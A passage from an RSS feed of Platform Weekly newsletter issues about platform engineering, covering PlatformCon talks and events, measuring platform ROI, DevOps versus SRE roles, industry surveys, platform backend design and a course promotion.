want to build? Will you lead the transformation, or let decisions be made for you?\nIf you\u2019re curious about Ona, me and the other creators will be doing some demos at PlatformCon in London & New York (and giving away 3D printers and Steam Decks). See you in London on 25th June (Booth #12) or in NYC on 26th June (Booth #9).]]>\n  \n  Thu, 14 Aug 2025 00:00:00 GMT\n\n\n  5 must-see talks at PlatformCon this year\n  https://platformweekly.com/issues/5-must-see-talks-at-platformcon-this-year\n  https://platformweekly.com/issues/5-must-see-talks-at-platformcon-this-year\n  \n  \nHey there! This is platform weekly, your weekly swim in the fountain of platform engineering knowledge. Every week, we take a look at another area of the platform engineering universe.\n5 must-see talks at PlatformCon this year\nWe have just announced the 150+ speakers and talks that will be at PlatformCon 2024 this year. And the level of quality is actually insane. You\u2019ve got to check it out.\nFrom events like KubeCon, AWS Summit, Google Cloud Next, and throughout social and the slack, it\u2019s super clear that the platform engineering community is growing more and more advanced every day. There is no better example of this than PlatformCon 2024 this year.\nDon\u2019t believe me? These are just 5 of the talks we\u2019ve got coming. There are dozens more just like them\ud83d\udd25\n\n\nPlatforms = (Architecture + DDD + Automation) x Wholesale with platform master Gregor Hohpe\n\n\nIs platform engineering only about IDPs? Think again with Atulpriya Sharma, and Vishal Biyani\n\n\nHarmony in engineering platforms: A decision tree symphony for Orchestrator selection with Ajay Chankramath\n\n\nEverything is code: Embracing GitOps at Spotify with Tim Hansen\n\n\nMaturing your platform engineering initiative with Nicki Watt\nWhether you\u2019re into AI, security, open source, observability - there is something awesome in there for you. Go check it out.\nQuick bites\nArticles of the week:\n\n\nThis Is Why Infra Teams Should Care About Platform Engineering\nFrom the community:\n\n\nCome join me in my webinar \u201cPlatform Orchestrator: The platform engineering game changer\u201d on Tuesday!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  The world\u2019s biggest Platform Engineering event  just launched\n  https://platformweekly.com/issues/the-worlds-biggest-platform-engineering-event-just-launched\n  https://platformweekly.com/issues/the-worlds-biggest-platform-engineering-event-just-launched\n  \n  \nHey there! This is Platform Weekly, your platform engineering sommelier. Let\u2019s get sippin\ud83c\udf77\nThe world\u2019s biggest Platform Engineering event just launched\nThis is a special week.. PlatformCon is back! And with some banger new formats.\nPlatformCon23 was by far the biggest platform engineering event of the year, with 180 speakers and over 16k attendees over 2 days. It was a true blast!\nBut we like honesty over here in the community and one thing we gotta be real about: 180 talks is too many freakin talks. So we changed things\ud83d\udc47\nPlatformCon24 will be a full week of platform engineering! We will release the 90 talks we will select from 800+ (!!) submissions across 3 days, to give everyone enough time to watch them and discuss them with the speakers. Quality over quantity baby.\nWe are also launching a brand new format, with a dedicated Open Source Day with presentations and hands-on labs to code your platforms live!\nIn person satellite events were also a huge success, so we are doubling down on them this year. Stay tuned for more info on that one, but I can share now that there will be some BIG live events at PC24\u2026\nI really believe this will be the best PlatformCon to date, hope you are feeling the excitement jumping out of your inbox and into your xmas sweater.\nSo stay tuned, as we\u2019ll be announcing more PC24 details soon, including speakers, exact agenda, live events locations, etc. so make sure to register now!\nAnd btw, we are doing an early bird special this year.. The first 1k registrations will get the chance to join an exclusive virtual event hosted by platform engineering superstar Gregor Hohpe!\nAnd yes PC24 is still 100% free. What are you waiting for?!\nMerry xmas. Stay crunchy.\nQuick bites\nNothing like a little bit of Jack Torrance in some Platform nerds\u2026. \nArticles that blew me away: \n\n\nAn article from an old friend: DevOps: Don't destroy silos, transform them\n\nLinkedin open-sourced the LinkedIn Developer Productivity & Happiness Framework (DPH Framework): Practical Magic: Improving Productivity and Happiness for Software Development Teams\nFrom the community:\n\n\nWho is still skeptical about IDPs? ]]>\n  \n  Tue, 02 Apr 2024 00:00:00 GMT\n\n\n  3 Characteristics Of Functional Platforms\n  https://platformweekly.com/issues/3-characteristics-of-functional-platforms\n  https://platformweekly.com/issues/3-characteristics-of-functional-platforms\n  \n  \nHey there!\nThe call for proposals for PlatformCon 2023 is about to close! Submit your talkand share your insights and stories with the community. Need some inspiration? This week, we\u2019re recapping Cloud Strategy author Gregor Hohpe\u2019s PlatformCon 2022 keynote.\nLet\u2019s get bakin\u2019\n3 characteristics of functional platforms\nOrganizations with successful platform engineering initiatives benefit from reduced complexity and cognitive load. Unfortunately, building successful platforms is no simple task. How do you know if you\u2019re on the right track? According to Gregor Hohpe, good platforms share these common characteristics:\n1\ufe0f\u20e3 Low friction. You can\u2019t force anyone to use your platform. Your users will find ways around it if you try. You can encourage ensure adoption your platform by prioritizing a frictionless user experience.\n2\ufe0f\u20e3 Transparency. Platforms aren\u2019t supposed to be black boxes. Your users should have enough insight into what\u2019s happening underneath the surface to appropriately diagnose problems. \n3\ufe0f\u20e3 Standardization. Platforms help enforce standards, which enable developers to be creative where it really matters. For example, http is a standard that allows any web browser to connect to any web server. A4 paper is also highly standardized, but one can still use it to draw or paint, tear it apart or tape some together to change the size of the canvas, or fold it to make an origami crane. \nHow do you build a platform with low friction, transparency, and standardization? Take a platform as a product approach and evolve the platform over time. \nWatch the full talk here.\n\u200d\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Sam Newman weighs in on the rise of the platform team:\n\u201cWe want our Platform Team to be about outcomes - but we are hamstringing them from the beginning by calling the Platform Team in the first place, and worse could follow by codifying \"Platform Engineering\" as a thing.\u201d\n\ud83e\udd50 Build or buy? Christopher Hedley, VP of of Engineering at Syntasso, weighs in:\n\u201cTaking high-level PaaS or SaaS-like platform solutions might buy you productivity gains, but efforts to bend their opinionated workflows to match the will of your organisation often result in frustration or failure. Often you end up changing to meet the needs of the tool rather than the other way around.\u201d\n\ud83e\udd50 In his latest blog on Medium, ManoMano\u2019s platform engineering manager Clement Hussenot-Desenonges dives into common platform engineering fails and how to avoid them.\n\ud83e\udd50 IT practitioners shared their outlook on 2023 with The New Stack. I\u2019m not surprised to see that platform engineering was a \ud83d\udd25 topic: \n\u201cThe trend toward platform engineering and product teams created a lot of independent teams working on their individual missions; it also created the challenge of figuring out how to align teams to a unified company vision. I am a big fan of the product team model, but I hope for 2023 to find that holy grail of combining the independence and speed of product teams with the necessary alignment to move in the same direction.\u201d\n\ud83e\udd50 \nHave you joined the Platform Engineering Slack channel? If not, you're missing out. Here are some highlights from the community: \n\n\nI need to use AWS and a GitHub App to build a CI/CD solution for a customer who has multiple GitHub organizations\n\nExperience implementing load balancing solution for RabbitMQ or Redis cluster using Nginx or HAProxy\n\nIf you were to build an enterprise from scratch within a platform ecosystem (IDP, developer portal, APIs, etc), what framework would you use to manage dependencies and collaborations across the enterprise?\n\nBuilding an IDP that relies on APIs for users to consume services and capabilities provided by the platform\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Thu, 16 Mar 2023 00:00:00 GMT\n\n\n  PlatformCon - The Platform engineering conference\n  https://platformweekly.com/issues/platformcon-the-platform-engineering-conference\n  https://platformweekly.com/issues/platformcon-the-platform-engineering-conference\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly rocket into the wide open universe of platform engineering. I am extremely excited about this week's newsletter.\nPlatformCon is back\nThe world\u2019s largest platform engineering conference is back baby\ud83c\udf89\ud83d\ude80\nPlatformCon 2025 is taking place from 23rd - 27th June 2025!\nAnd this time we\u2019re going full force into everything that made last year so special. More connection, more learning, and more time getting our hands dirty. This year's theme is all about building.\nWhat do I mean by that?\nFirst, we have the classic virtual 150+ talks from every big name in platform engineering. How else could we keep being the one-stop shop for the PE universe?\nSecond, we\u2019re tripling down on hands-on platform engineering workshops. Last year, over 1,500 people started designing their MVP at workshops at PC24.\nThird, the thing I am most proud of and most excited about. There will be not one but TWO PlatformCon Live Days - in London and New York. There are early bird tickets available right now.\nThis year with an even greater focus on learning. That means more workshops, live trainings (e.g the fundamentals of platform engineering, best practices), and opportunity to build, all at our Live Days!\nThat also means there is way more space for awesome talks and workshops from all of you!\nI can\u2019t wait! See you there.]]>\n  \n  Thu, 12 Dec 2024 00:00:00 GMT\n\n\n  Measuring the ROI of platform engineering investments\n  https://platformweekly.com/issues/measuring-the-roi-of-platform-engineering-investments\n  https://platformweekly.com/issues/measuring-the-roi-of-platform-engineering-investments\n  \n  \nWe all know the platform isn't just a cost center\u2026 It's a rocket ship. But here\u2019s the problem. Everyone wants ROI, yet nobody is measuring it the same way, leading to chaos, fear, and poorly planned and executed platform engineering initiatives.\nBuckle up. Because this is the longest read in Platform Weekly history.\nThe ROI reality check\nMeasuring platform engineering can be hard. Traditional productivity metrics like lines of code, story points, and commit counts fundamentally misrepresent the systemic improvements platforms create, and in the AI era are basically meaningless. The core problem is that platform engineering as a whole often creates indirect value through your org (which is hard to fully quantify). \nThis means that most platforms fail to demonstrate value. Or they are simply crippled by low adoption and a bad platform scope. If you build it, and no one uses it, your ROI remains zero.\nIn the last few weeks, 3 excellent articles have been published on the topic of ROI in platform engineering. I will be breaking down their lessons here.\n\n\nMeasuring the ROI of platform engineering investments by Ajay Chankramath, Rahib Amin, and Vikas Bijavara\n\nPlatform ROI showcase: How \u20ac2M+ emerged from one platform shift by Michael Wolbert\n\nHow to measure developer productivity and platform ROI: A complete framework for platform engineers by Sam Barlien\nI would recommend that you read all three of these articles to understand how top orgs are approaching measuring ROI.\nThe short version:\nMeasuring platform engineering ROI requires baselining engineering waste, quantifying time lost in pipelines, toil, and feedback loops, and translating these into financial terms. Most teams don\u2019t measure impact, which hides massive productivity losses. The Platformetrics ROI model provides a structured way to calculate savings across flow efficiency, DevEx, and automation. Real-world cases show that even small improvements like cutting pipeline time or reload latency can generate millions in annual savings from even small investments. \nAnd of course\u2026 100% of high-performing platform engineering teams treat the platform as a product, and align improvements directly to business outcomes.\nThe long version:\nWe can split ROI up into multiple layers\nFoundational ROI: reducing toil, improving flow, standardizing environments, and accelerating deployments.Product ROI: reducing time-to-market and enabling faster product delivery.Attributional ROI: benefits enabled by AI, automation, and other technologies that depend on a strong platform.Strategic ROI: long-term competitive advantage driven by stronger platform capabilities.DevEx ROI: improved developer satisfaction, retention, and collaboration.\nTo quantify ROI through these layers, the Platformetrics ROI Model, uses inputs such as team size, average salary, hours of manual toil, deployment frequency, and technical debt. It then combines these with formulas to calculate outputs like total engineering cost, annual productivity loss, AI opportunity, and the efficiency gap.\nFor example, if we take the case study from Michael\u2019s article. Developers were stuck in 20-minute pipeline cycles and 20-second+ local reloads. With 200 reloads a day, the wasted time compounded massively both from just pure lost time, but also from context switching, and half-finished features.\nMichael\u2019s team treated the platform shift as an MVP, starting from a fragmented frontend setup with skeptical engineers. Using Nx they built a flexible baseline and, within 8-10 weeks, onboarded three apps with minimal effort. Organic adoption came naturally since the \u201cgolden path\u201d made life way easier, with zero downside.\nThe total investment was about \u20ac200K all-in, covering migration effort and platform licensing.50 developers onboarded =\n\n\n200 reloads per dev per day\n\nReloads sped up by 10-15 seconds\n\nAnnual savings: \u20ac540K-\u20ac1.08M from reloads alone\n\nPipeline runs cut from 20 \u2192 8 minutes 5 times a day\n\nAnnual savings: \u20ac900K-\u20ac1.2M from pipelines\nCombined annual savings reached \u20ac1.5M-\u20ac2.5M, with a payback period of less than a month, even being humble. And this only reflected the first 50 developers. \nImagine what the ROI would be if this scenario played out with all your devs.\nSo, what is the lesson here? Just replicate exactly what Michael did? Well\u2026 probably not. It\u2019s unlikely this exact use case is relevant to you. But you can replicate the process, both of how Michael approached platform improvements, and how using the Platformetrics model, you can quantify value.\nYou might already have things you\u2019ve done that if you quantified them in this way help you prove the value of your efforts. If not, take this away from these pieces:\n\n\nIdentify 1 specific high-value use case. Not something vague like \u201cDev productivity\u201d something specific like time waiting for an ephemeral environment, responding to false positives from scanning for CVEs, etc. \n\nMeasure a neutral starting point of how much time is spent waiting on these things.\n\nTranslate time lost into $ using team size, average salary, and frequency of the activity.\nUnderstand that even rough, conservative calculations are enough to prove ROI quickly and shift executive perception from \u201cplatform cost\u201d to \u201cplatform value.\u201d\nEspecially if you put them on a shiny slide with bright colours. Do that, and execs will give your platforms all the money you want.\nP.S. How do you like these long ones? Reply to luca@platformweekly.org and let me know! Maybe we\u2019ll do some more.]]>\n  \n  Mon, 24 Nov 2025 00:00:00 GMT\n\n\n  State of Platform Engineering 2024\n  https://platformweekly.com/issues/state-of-platform-engineering-2024\n  https://platformweekly.com/issues/state-of-platform-engineering-2024\n  \n  \nHey there! Welcome to Platform Weekly, your weekly commit into the platform engineering trunk. Every week on Friday, we talk about all things platform engineering sharing best practices, lessons, and news from the community.\nAnswer the State of Platform Engineering 2024 survey\n\u200d\nIt\u2019s that time of year again. Answer the State of Platform Engineering 2024 survey!\nThere are two things I am most proud of from this awesome community. It\u2019s the full-suite platform engineering fundamentals course we launched just a month ago, and it\u2019s our state of platform engineering survey.\nThe data from our State of Platform Engineering survey is the #1 source for the industry of where we are, how things have changed, and where we\u2019re going. It gets sourced everywhere, and the whitepaper I wrote referring to the data was downloaded over 25k times\u2026\nThis year, as a testament to how much more advanced Platform Engineering is these days, we\u2019ve split the survey in two. The platform engineering survey, and the salary survey.\nOne for all practitioners whether DevOps, SRE, Platform Engineers etc, and one for platform teams specifically.\nThis data is where the industry gets a sense of everything from basic definitions of what platform engineering means, and what platform engineers actually do, to ofc the juiciest questions like AI usage and current salaries.\nIt tracks the year-over-year changes in the size of the industry, but also in what the discipline itself entails.\nAnd this year it focuses heavily on understanding where we all sit on the platform engineering maturity model.\nSo, want to help the community and industry better understand how platform engineering has changed in the last year?\nAnswer the survey! ]]>\n  \n  Wed, 02 Oct 2024 00:00:00 GMT\n\n\n  Do Platform Engineers require the same skills as DevOps Engineers? \u2692\ufe0f\n  https://platformweekly.com/issues/do-platform-engineers-require-the-same-skills-as-devops-engineers\n  https://platformweekly.com/issues/do-platform-engineers-require-the-same-skills-as-devops-engineers\n  \n  \nThe more I talk to people from platform world, the more I see a great confusion wandering around Platform Engineers and DevOps engineers. This time I dive into the skills \u2692\ufe0f required for both parties.\nLet\u2019s get bakin\u2019 \ud83e\udd50\nDo Platform Engineers require the same skills as DevOps Engineers?\nThis was the question posed by a recent Reddit thread I ran across. Unsurprisingly to me, it received a lot of different answers.\nOne user commented: \u201cIt\u2019s all the same sh*t, titles don\u2019t matter just what the responsibilities are and pay.\u201d Another responded: \u201cPlatform engineers work on a higher layer than DevOps, building internal tools for developer consumption and layering things so that devs can focus on shipping products.\u201d\nYet another user chimed in with a longer answer: \u201cDevOps is\u2026 usually just a new name for regular operations. \u2026 Platform is \u2026 what DevOps (the idea) should be, build/manage a platform that enables developers to do their job, and remove as many obstacles as possible to make people as autonomous and fast-moving as possible.\u201d\nThree different answers to one seemingly simple question. So what gives?\nI think the problem is with the definition of DevOps. Namely that there are so many definitions the term has been rendered inoperable, especially in the context of job titles. If you\u2019re like me, you believe that DevOps was supposed to be a culture and not a job title. But if you\u2019re a DevOps Engineer you might disagree (and understandably so).\nIn his PlatformCon keynote, Nigel Kersten commented: \u201cThese days, DevOps engineer is about the most useless job title I could possibly imagine. You could be running CI/CD, you could be a cultural consultant, you could be \u2026 running different projects\u2026 It could be anything.\u201d\nSo the answer to the original question seems to be \u201cit depends.\u201d It depends on what responsibilities you assume DevOps Engineers have. And there seems to be a wide enough variation that any one assumption is likely incorrect a good amount of the time.\nIf there\u2019s any lesson to be learned here, it is that, as Nigel Kersten pointed out in the same keynote, platform engineering needs a prescriptive model to avoid this same pitfall.\nBut what do you think? Let me know @luca_cloud on Twitter.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Here's how you can use platform engineering to implement DevOps workflows with Kubernetes.\n\ud83e\udd50 Another hot take in the DevOps vs platform engineering debate \ud83d\udc47\n\ud83e\udd50 What's the difference between platform product management and platform engineering? Forrester shares one perspective.\n\ud83e\udd50 The newest Always an Engineer Podcast \ud83c\udf99\ufe0f episode breaks down differences among engineering roles: platform, site reliability, development operations (DevOps), and application. Tune in\ud83d\udc47\n\ud83e\udd50 Well... \ud83d\ude48\ud83d\udc47\n\ud83e\udd50 Have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are this week's highlights:\n\n\nOn ownership while breaking up a monolith into microservices\n\nOn organizing your terraform workbase\n\nDevOps and Platform Eng Tasks\n\nA poll: What capabilities in a DevOps Automation platform are key to successful Kubernetes implementation?\nThis newsletter is a community effort, so if you have anything awesome to share from the cloud-native world, send it our way. You can share your ideas here.\nCya next week!\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  Here's What You Missed At PlatformCon 2023\n  https://platformweekly.com/issues/heres-what-you-missed-at-platformcon-2023\n  https://platformweekly.com/issues/heres-what-you-missed-at-platformcon-2023\n  \n  \n\ud83e\udd50 This is Platform Weekly. We\u2019re a not regular cloud-native newsletter. We\u2019re a cool cloud-native newsletter. Let's get bakin'\nCongrats to our PlatformCon survey raffle winners! \ud83c\udf89 Thanks for sharing your feedback to the community! Your participation makes our conference better.\n\n\nRyan Marks\n\nMat Horner\n\nTom Gaeb\n\nMallory Mullan\n\nGuillaume Jacobs\nReach out to karolina@platformcon.com to claim your free merch. \u2709\ufe0f\nHighlights from PlatformCon 2023\nICYMI, here are the top 5 talks from PlatformCon you won\u2019t want to miss.\n1\ufe0f\u20e3 Gregor Hohpe | Build abstractions, not illusions\nLet\u2019s be honest, the tech we have today is amazing but it can also be complex. So, it\u2019s only natural that the platforms we build want to hide that complexity in order to improve productivity, avoid mistakes, and reduce cognitive load. \nSo, the more complexity we can hide, the better our platform? Actually, no. We need to be careful that we create useful abstractions, not dangerous illusions. This talk reflects on two decades of building complex distributed systems, highlighting where abstractions helped and where illusions led to major disappointments.\n2\ufe0f\u20e3 Mike Gatto and Stephan Schneider | Platform as Code: Simplifying developer platform design with reference architectures\nReducing the cognitive and operational load on software developers is the key to increasing product innovation and velocity. With that in mind,  in this talk we showcase how to separate the application code from orchestration and operations concerns without breaking the DevOps model. We built cloud-native reference architectures for Internal Developer Platforms that allow operations teams to define and manage how and where workloads are deployed and within which guardrails, while still enabling developer freedom via abstraction and self-service.\nFollowing our reference architectures you can:\n\n\nRemove some of the stressors from product and platform teams that limit developer experience and productivity \n\nEnable platform teams to drive standardization and ensure security and compliance is baked into all components\n\nRemove cognitive load and frees up time of software developers to do what they do best: writing code that solves customer problems\n3\ufe0f\u20e3 Nicki Watt | Why is it so hard to create a great Platform-as-a-Product?\nSo you've heard that you should be applying product thinking, and treating the platform as-a-product when embarking on a new platform initiative. This is great, however, for many this seems much harder to do in practice than in theory! This talk explores some of the reasons behind this. We look at what the stumbling blocks are which tend to trip people and organisations up the most, as well as what can be done to counteract this where possible.\nYou will learn the following from this talk:\n\n\nWhy is it important to apply product thinking and treat the platform as-a-product when embarking on a new platform engineering initiative\n\nWhat stumbling blocks could you run into trying to do this\n\nHow can you get around, or counteract some of these stumbling blocks\n4\ufe0f\u20e3 Charity Majors | The future of Ops is platform engineering\nGeneralist infrastructure jobs are disappearing, and infra engineers should choose between either building infra as a service, or becoming a platform engineer and using their expertise to help companies use as *little* infrastructure as possible.\nPlatform engineering teams are very different from SRE and DevOps teams. Not necessarily in skill set, but in orientation. Platform engineering teams are responsible for developer velocity, not stability and uptime. While developers are responsible for their OWN stability and uptime.\nVendor engineering may not sound hot, but it's one of the most powerful, highly leveraged roles any engineer can perform.\n5\ufe0f\u20e3 Maunel Pais | Beyond engineering: The future of platforms\nTraditionally teams and groups are incentivized for outputs, so the more cycles you can run and the faster you can close requests the better. We end up optimizing internal processes at the cost of company outcomes. I posit that, ultimately, this happens because teams don\u2019t see each other as customers. You might be thinking \u201cBut they\u2019re not our customers, they\u2019re our colleagues!\u201d. Also true. This talk will explore how every team and every division in an organization can adopt a platform mindset, in which they treat what they offer to other teams as an internal product.\nLet us know how you liked PlatformCon 2023! Share your feedback with the event organizers with this quick survey.\nShare | Tweet | Forward\n\u200dShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Having trouble staying in touch with your mom? AI might be able to help.\n\ud83e\udd50 Take this short platform maturity score test to see how your organization aligns with established best practices.\n\ud83e\udd50 Here\u2019s how Ivan Velichko built his own learning-by-doing platform for Docker and Kubernetes.\n\ud83e\udd50 Some pros and cons of running Kubernetes on bare metal.\nWant more Platform Engineering and DevOps news, analysis, and resources? Consider signing up for a newsletter from our friends over at The New Stack. They have daily and weekly newsletter options to keep devs, engineers, and the cloud native community in-the-know.\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Thu, 22 Jun 2023 00:00:00 GMT\n\n\n  6 keys to human-centric software development\n  https://platformweekly.com/issues/6-keys-to-human-centric-software-development\n  https://platformweekly.com/issues/6-keys-to-human-centric-software-development\n  \n  \n\ud83e\udd50 Hey there! It\u2019s Platform Weekly\u2026 We\u2019re the Keanu Reeves of DevOps newsletters: action-packed and relatable with a track record of being awesome. \n6 keys to human-centric software development\nDev Interrupted\n\u201cTreating devs like human beings\u201d seems like it should be obvious, but if you look at our industry, you might not be able to tell.\nWe need to stop:\n* Measuring devs on lines of code\n* Expecting engineers to act like automatons\n* Practices that sacrifice developer happiness for short-term delivery\nDev Interrupted spoke with 3 experts in making the transition from churn and burn software development to human-centric development. Here are 6 takeaways from their conversation with Kelly Vaughn, Director of Engineering at Spot AI, Engineering Leadership Coach Lena Reinhard and VP of Engineering at Range, Jean Hsu.\n1\ufe0f\u20e3 Humanize Interviews\nDevs are knowledge workers, not robots. Kelly shared her view on one of the roots of this problem: engineers shouldn\u2019t be required to code as part of the interview process. \n2\ufe0f\u20e3 API for Humans\nPeople moving into leadership and management roles are not trained to communicate and figure out, \u201cHey, what\u2019s important to this other human?\u201d Jean recalled one communication workshop where a person shared the takeaway \u201cI feel like I just learned an API for humans.\u201d\n3\ufe0f\u20e3 Can a Dev Manager Be Non-Technical?\nDo developers need to be led by managers with technical skills? From Lena\u2019s experience, many great engineering managers haven\u2019t been superb developers and likely never will.\n4\ufe0f\u20e3 Bring Your Full Self to Work\nOne-on-ones don\u2019t need to be a place to give performance advice. Kelly, Lena, and Jean all felt that one-on-ones were a powerful tool for leaders to break through the dehumanizing barriers of software development as a production line. \n5\ufe0f\u20e3 Metrics\nMetrics shouldn\u2019t just track information, they should give people something to look forward to. We all want to be doing work we can be proud of, and we can use metrics to improve productivity without sacrificing developer experience. \n6\ufe0f\u20e3 Burnout\nAnother crucial challenge that stops people from doing their best work is burnout.  Acknowledging the elephants in the room is crucial as a leader; everything can\u2019t always be rosy, and your team wants to feel seen in the challenges you share.\nListen to the full conversation here.\nShare | Tweet | Forward\n\u200dShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Is AI the answer to developers\u2019 documentation problem?\n\ud83e\udd50 Speaking of AI, please don\u2019t use GPT for security guidance.\n\ud83e\udd50 Here\u2019s why successful platform teams need a product manager.\n\ud83e\udd50 PlatformCon is just around the corner. Don\u2019t miss out on the biggest platform engineering event of the year!\nHave you joined the Platform Engineering Slack channel? If not, you're missing out. Here are the highlights from this week:\n\n\nHere are some symptoms that you\u2019re missing an Internal Developer Platform.\n\nAre CLIs really necessary?\n\nDo we have tools/platforms that work well with Generative AI?\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Mon, 05 Jun 2023 00:00:00 GMT\n\n\n  DevOps, SRE, or Platform Engineering?\n  https://platformweekly.com/issues/devops-sre-or-platform-engineering\n  https://platformweekly.com/issues/devops-sre-or-platform-engineering\n  \n  \nChoose your fighter: DevOps, SRE, or Platform Engineering \ud83d\ude08\nLet\u2019s get bakin\u2019 \ud83e\udd50\nDevOps vs SRE vs Platform Engineering\n\u201cWhy does platform engineering exist when DevOps and SRE are basically the same thing?\u201d\nIt\u2019s a harsh question, but it\u2019s also fair. The differences between the disciplines are pretty subtle, but they\u2019re also what make platform engineering so important.\nLet\u2019s start with DevOps. DevOps culture was kickstarted in 2006 by Werner Vogels famous declaration: \u201cYou build it, you run it!\u201d This worked well for some organizations, but others struggled to implement the cultural shift well. What resulted was cognitive overload on developers and a whole host of other nasty antipatterns.\nWhat about SRE? SRE was advertised by Google as something every organization could aspire to. And, like with DevOps, while there was nothing wrong with SRE in theory, poor implementation plagued a lot of organizations. In these organizations, the SRE role became very restrictive and reminiscent of the pre-DevOps operations bottleneck.\nThis is where platform engineering comes in. It uses a product approach to leverage the strengths of DevOps and SRE. Like DevOps, platform engineering enables developer self-service. Like SRE, it reduces errors and increases reliability. Platform engineering also finds the right level of abstraction to reduce cognitive load on developers, improving the efficiency of the organization.\nThe platform as product approach involves conducting user research, collecting regular feedback, creating a product roadmap, and marketing the platform internally. It is what sets platform engineering apart from DevOps and SRE. Platform as a product ensures that platform teams are focusing on the right problems and delivering the right features.\nLike the disciplines that came before it, platform engineering can also be done badly. But that\u2019s why this community \u2013 and this newsletter! \u2013 exist: to empower you to build platforms well. And we\u2019re happy to have you here.\nYou can check out the full article here. Or dive into my latest thread, linked below.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Tim Osborne explored the idea of a fully remote, cloud-based option for building a development environment. He wrapped up his findings in a short (and insightful) article.\n\ud83e\udd50 How powerful are IaC and GitOps when used together? According to Cliff Malmborg, the combination creates a strong e2e solution for balancing automation in development pipeline.\n\ud83e\udd50 A few months ago, we ran a Platform Engineering salary survey. Now it's time to share the results! We hope you'll find them useful when negotiating for a salary \ud83d\udcc8 \ud83d\ude09\ud83d\udc47\n\ud83e\udd50 Here are 18 ways complex systems fail. Super useful resource for handling failure management.\n\ud83e\udd50 Memes are out, funny videos are in. Definitely check out this YouTube channel.\nThat's a wrap on #7. Share the platform love by forwarding this email to a few friends \ud83e\udd17\nThis newsletter is a community effort, so if you have anything awesome to share from the cloud-native world, send it our way. You can share your ideas here.\nUntil next week!\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  Build your platform right\n  https://platformweekly.com/issues/build-your-platform-right\n  https://platformweekly.com/issues/build-your-platform-right\n  \n  \nHey there! Welcome to Platform Weekly issue 100.\nIt\u2019s been 100 weeks of platform weekly. I can\u2019t believe it. It\u2019s time for our 100th weekly dive into the Olympic-sized platform engineering pool. Every week we explore another area of the platform engineering universe, talking about best practices, lessons, news, ideas, and all-around platformy goodness.\nBTW - You\u2019ve still got 12 hours to use the code PW30 and get a 30% discount on the first-ever official Platform Engineering Fundamentals course. Seats are filling up very fast - so don\u2019t miss it.\nBuild your platform right\n\u200d\nTo celebrate 100 weeks of Platform Weekly, I want to talk about my favorite topic. Platform backends.\nWe\u2019ve been talking a lot in the community lately about the need to focus on the backend of your platform first to get the true value of platform engineering. You probably know by now that slapping a developer portal on top of your existing setup and just focusing on the frontend of your platform won\u2019t get you far.\nYou need to get to the guts of your Internal Developer Platform, design clear golden paths for developers to consume application configurations, and interact with the underlying infrastructure the right way.\nJust because platform engineering is still a young discipline, it doesn\u2019t mean that established architectural and design principles don\u2019t apply. Building your IDP is like building a regular application and you should start from the backend. That\u2019s where the core logic is implemented and the golden paths for your developers are designed.\nBut are all backends the same? Of course not. There are two dominant ways to approach platform backends\nPipeline-based \ud83d\udc49\ud83c\udffbthis is what most teams are familiar with, a CI/CD pipeline plus some Terraform or other IaC tooling. These systems are designed to handle environment progression logic: IF this THEN move to the next step. They are not great at handling more complex logic, however.\nPlatform teams that misuse pipelines to handle more complex logic end up with pipelines nested into one another. And you are back at square 1 with a setup that\u2019s very hard to maintain and scale and delivers none of the results that you had hoped for when starting your platform initiative. Not to mention your devs are still overwhelmed by the amount of scripts and config files they need to touch to deploy.\n\u200d\n\u200d\nGraph-based \ud83d\udc49\ud83c\udffba.k.a. Platform Orchestrators on the other hand are designed to handle any level of complexity (e.g recursive intra-resource dependencies), while shielding developers from the underlying complexity.\nDevs don\u2019t need to worry about any implementation details, they simply request the infra they need and the orchestrator supplies it following the golden paths designed by the platform team. Though a Graph-based backend might not make sense for a team with less than 100 devs, the power of platform engineering comes from its ability to deliver insane value at scale. And that is where a graph-based backend becomes mandatory.\n\u200d\nIf you\u2019re a small organization, a pipeline approach might work great for you. But if you really want to get the benefits of platform engineering and deliver the business results you\u2019re hoping for (and have probably promised you\u2019d deliver) then you need a graph-based backend.\nP.S. Haven\u2019t answered the State of Platform Engineering 2024 surveys yet?\n\n\nState of Platform Engineering 2024 Survey\n\n2024 Platform Engineer Salary Survey]]>\n  \n  Wed, 02 Oct 2024 00:00:00 GMT\n\n\n  final chance for platform engineering course\n  https://platformweekly.com/issues/final-chance-for-platform-engineering-course\n  https://platformweekly.com/issues/final-chance-for-platform-engineering-course\n  \n  \nHey there! Welcome to Platform Weekly, your weekly swim in the platform engineering fountain.\nfinal chance for platform engineering course\nWe\u2019re barely 4 days away from lesson 1 of the first-ever official platform engineering fundamentals course. And just a few spots away from needing to close registrations. I am so proud of how this course is coming together. It\u2019s going to be awesome.\nWhat\u2019s in it?\nTaking place over 8 weeks and starting August 6th at 7 pm CEST, the course includes 8 core modules + 2 guest lectures (from Manuel Pais, co-author of Platform as a Product, and Ajay Chankramath, former head of platform engineering at Thoughtworks) plus an optional additional hour a week of homework + extra learning, and a private Slack channel for discussions and Q&A.\nContentwise we\u2019ll dive into its relationship to DevOps, Platform as a Product, ensuring adoption, internal selling, and best practices, and how to actually build the perfect Internal Developer Platform.\nAnd not just that - we\u2019ll also be going into the deep technical details of platform engineering (the art of building golden paths, abstraction layers, frontend, and backend designs, everything as code, building Minimum Viable Platforms, and 